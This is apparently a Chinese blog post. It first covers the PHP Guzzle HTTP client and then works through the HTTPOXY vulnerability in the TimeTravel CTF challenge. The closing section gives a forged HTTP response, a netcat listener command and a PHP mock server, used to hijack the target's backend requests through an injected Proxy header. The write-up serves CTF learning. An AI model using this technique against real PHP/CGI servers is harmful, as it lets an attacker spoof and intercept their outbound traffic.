文章目录

  • 0X01 Guzzle简介
  • 0X01 Guzzle实验
    • 【GET请求】
    • 【POST请求】
    • 【设置代理IP】
  • 0x03 TimeTravel题目复现

0X01 Guzzle简介

Guzzle是一个使得利用PHP实现发送HTTP 请求,方便和web service集成的PHP 客户端模拟组件。

Guzzle介绍

0X01 Guzzle实验

首先下载Guzzle
然后cd到网站根目录,执行Composer命令下载Guzzle:(Linux环境)

cd /var/www/html
composer require guzzlehttp/guzzle

因为报错composer http://packagist.org could not be fully loaded,重新设置composer packagist,命令如下:

composer config -g repo.packagist composer https://mirrors.aliyun.com/composer/

下载完成后会生成一个vender文件夹:

在vender同级目录新建了一个guzzle.php来写例子。服务器上hello.php的内容为

<?phpecho "Hello ".$_REQUEST["name"]."\n"
?>

【GET请求】

<?phprequire __DIR__ . '/vendor/autoload.php';use GuzzleHttp\Client;$client = new Client();$response = $client->get('http://121.196.196.190/hello.php?name=ink');$content = $response->getBody();echo $content;

【POST请求】

<?php require __DIR__ . '/vendor/autoload.php';use GuzzleHttp\Client;$client = new Client();//构造url$url = 'http://121.196.196.190/hello.php';//post请求$res = $client->request('POST', $url, ['form_params' => ['name'=>'qaq']]);$content = $res->getBody();echo $content;
?>

【设置代理IP】

服务器上代码,作用为输出用户ip

<?phperror_reporting (E_ERROR | E_WARNING | E_PARSE);if($HTTP_SERVER_VARS["HTTP_X_FORWARDED_FOR"]){$ip = $HTTP_SERVER_VARS["HTTP_X_FORWARDED_FOR"];}elseif($HTTP_SERVER_VARS["HTTP_CLIENT_IP"]){$ip = $HTTP_SERVER_VARS["HTTP_CLIENT_IP"];}elseif ($HTTP_SERVER_VARS["REMOTE_ADDR"]){$ip = $HTTP_SERVER_VARS["REMOTE_ADDR"];}elseif (getenv("HTTP_X_FORWARDED_FOR")){$ip = getenv("HTTP_X_FORWARDED_FOR");}elseif (getenv("HTTP_CLIENT_IP")){$ip = getenv("HTTP_CLIENT_IP");}elseif (getenv("REMOTE_ADDR")){$ip = getenv("REMOTE_ADDR");}else{$ip = "Unknown";}echo $ip;
?>

这部分在在windows上面实验,因为有vpn好测试代理结果

Composer 的安装

Wondows 平台上,我们只需要下载 Composer-Setup.exe 后,一步步安装即可。

需要注意的是你需要开启 openssl 配置,我们打开 php 目录下的 php.ini,将 extension=php_openssl.dll 前面的分号去掉就可以了。

安装成功后,我们可以通过命令窗口(cmd) 输入 composer --version 命令来查看是否安装成功:

接下来我们可以更改阿里云 Composer 全量镜像:

composer config -g repo.packagist composer https://mirrors.aliyun.com/composer/

然后下载

cd D:\phpStudy\WWW\Vulnerability\GuzzleHttp_Client
composer require guzzlehttp/guzzle


开始测试代理功能,首先是没有代理的

<?php require './vendor/autoload.php';//实例化客户端$client = new GuzzleHttp\Client(['headers'=>["Accept"=>"*/*","Accept-Encoding"=>"gzip, deflate","User-Agent"=>"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:81.0) Gecko/20100101 Firefox/81.0"]]); //构造url$url = 'http://121.196.196.190/hello.php';//设置代理请求$res = $client->request('GET', $url);//返回状态码$content = $res->getBody();echo $content;
?>

这时候ip为117.136.67.147

然后再把vpn打开,端口为1080

给代码加上代理'proxy' => '127.0.0.1:1080'

<?php require './vendor/autoload.php';//实例化客户端$client = new GuzzleHttp\Client(['headers'=>["Accept"=>"*/*","Accept-Encoding"=>"gzip, deflate","User-Agent"=>"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:81.0) Gecko/20100101 Firefox/81.0"]]); //构造url$url = 'http://121.196.196.190/hello.php';//设置代理请求$res = $client->request('GET', $url, ['proxy' => '127.0.0.1:1080']);//返回状态码$content = $res->getBody();echo $content;
?>

代理成功

0x03 TimeTravel题目复现

漏洞说明

HTTPOXY漏洞说明

漏洞原因

在CGI(RFC 3875)的模式的时候, 会把请求中的Header, 加上HTTP_ 前缀, 注册为环境变量, 所以如果你在Header中发送一个Proxy:xxxxxx, 那么PHP就会把他注册为HTTP_PROXY环境变量, 于是getenv(“HTTP_PROXY”)就变成可被控制的了. 那么如果你的所有类似的请求, 都会被代理到攻击者想要的地址,之后攻击者就可以伪造,监听,篡改你的请求了…

方法一

创建一个1.txt

HTTP/1.1 200 OK
Server: nginx/1.14.2
Date: Sat, 29 Feb 2020 05:27:31 GMT
Content-Type: text/html; charset=UTF-8
Connection: Keep-alive
Content-Length: 16{"success":true}

vps上执行nc -lvp 8888 < 1.txt

burp上添加一个Proxy头

返回包中得到flag

方法二,创建一个临时服务器

php的

mkdir api
cd api/
echo '{"success":true}'>eligible
php -S 0:7777 -t ../

成功拿到flag

[VN2020 公开赛]TimeTravel(guzzlehttp/guzzle使用以及HTTPOXY漏洞)相关推荐

  1. php使用guzzlehttp/guzzle进行数据采集

    php使用guzzlehttp/guzzle进行数据采集 一.需求目的 1.采集某个平台网站的数据 2.将采集回来的数据与本身平台系统的现有数据汇总 二.实现步骤 1.分析平台网站 2.确定方案 3. ...

  2. laravel 安装guzzlehttp/guzzle

    composer require guzzlehttp/guzzle Guzzle是一个PHP HTTP客户端,可以轻松发送HTTP请求,并且可以轻松集成Web服务. 用于构建查询字符串,POST请求 ...

  3. [guzzlehttp/guzzle]使用起来更优雅的HTTP客户端

    在处理业务时,我们总是会发起一个http请求,比如请求远程接口,或者下载一个文件.很显然,在PHP中需要使用CURL,但是curl写起来实在是太不舒服了,又难写,也不易阅读.实际上PHP有很多扩展可以 ...

  4. PHP实战:guzzlehttp/guzzle下载网络文件到本地

    环境 $ php -v PHP 7.1.23 依赖 composer require "guzzlehttp/guzzle=6.5" composer require " ...

  5. guzzlehttp/guzzle 包设置超时

    laravel 框架 guzzlehttp/guzzle包设置超时 摘要:GuzzleHttp\Client 在readme.txt文件没有详细说明它的配置参数,需要配置http请求超时的进. 直接上 ...

  6. [VN2020 公开赛]simpleHeap-记录一次gef调试过程

    [V&N2020 公开赛]simpleHeap 安全机制: IDA反汇编 main: Add: Edit: 可以看到get_input_content函数包含一个off_by_one漏洞. S ...

  7. BUUCTF VN2020 公开赛 Misc(复现)

    BUUCTF V&N2020 公开赛 Misc(复现) 真·签到 拉胯的三条命令 ML 第一步 内存取证 Final Game 真·签到 CV大法题 Flag:flag{welcome_to_ ...

  8. [VN2020 公开赛]CSRe

    在此之前可以查看 Net混淆与用de4dot工具破解 存在 net混淆,首先需要将其去除 参考: 去除后我们就可以将该程序拖入Dnspy了 Dnspy下载: 反编译工具dnspy的安装与使用: 再往上 ...

  9. CTF-流量分析 [VN2020 公开赛]拉胯的三条命令 | SOLVED |

    参考:https://www.yuque.com/chenyi-ctf/buuoj-wp/gbvphx https://blog.csdn.net/pone2233/article/details/1 ...

最新文章

  1. 富士康遭黑客巨额勒索 企业如何应对数据安全风险?
  2. 阿德莱德计算机专业排名,阿德莱德大学专业排名第几?2019年榜单揭晓!
  3. J - 哈密顿绕行世界问题
  4. WinForms多线程编程之摇奖程序
  5. Windows平台下如何实现Unity3D下的RTMP推送
  6. c 将txt导入oracle,如何把文本数据导入Oracle中?
  7. MacOS Docker版本FastDFS安装指南
  8. 超实用的脚本——检查oracle数据库是否存在潜伏的比特币勒索病毒
  9. python队列中替换某元素_如何打印队列中的元素(Python)
  10. (day 10 - 双指针)剑指 Offer 21. 调整数组顺序使奇数位于偶数前面
  11. CentOS 5 全功能WWW服务器搭建全教程
  12. Excel解析的几种实现方式
  13. js操作浏览器cookie详解
  14. uniapp怎么使用阿里矢量图标,阿里矢量图标下载,阿里矢量图标应用,改变iconfont,uniapp 引用阿里矢量图标
  15. jmp指令流程图怎么写_NS流程图是什么?规范实用的流程图工具
  16. 梦殇 chapter four
  17. AutoCAD2014官方原版软件下载
  18. 全屏时程序坞自动隐藏的方法
  19. navicat for MySql 11 破解版
  20. 图像的二维傅里叶变换频谱图特点研究

热门文章

  1. 从零开始搭建智能Ai外呼系统?
  2. golang glog文件名命令_Golang开发的全功能单文件Web服务器
  3. 【计算机网络】计算机网络的性能指标
  4. 萨塞克斯大学计算机专业,萨塞克斯大学计算机与数字媒体硕士专业.pdf
  5. Linux根文件系统(rootfs原理详解)
  6. 层次分析法步骤及代码编写
  7. 悼念512汶川大地震遇难同胞——珍惜现在,感恩生活(hdoj--2191--多重背包)
  8. 模拟彩票随机抽选机制
  9. SQL练习37:对first_name创建唯一索引uniq_idx_firstname,对last_name创建普通索引idx_lastname
  10. java传递父线程对象_父子线程和线程池如何实现threadLocal变量传递